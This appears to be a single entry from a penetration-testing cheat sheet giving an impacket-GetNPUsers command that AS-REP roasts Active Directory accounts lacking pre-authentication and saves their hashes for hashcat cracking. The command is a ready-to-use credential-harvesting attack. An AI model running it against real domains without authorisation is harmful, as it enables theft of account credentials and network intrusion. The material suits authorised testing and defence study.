impacket-GetNPUsers -dc-ip $IP $DOMAIN/ -usersfile usernames.txt -format hashcat -outputfile hashes.asrep

AS-REP roast accounts with pre-auth disabled (no creds needed).

Command: Linux

References:

https://github.com/fortra/impacket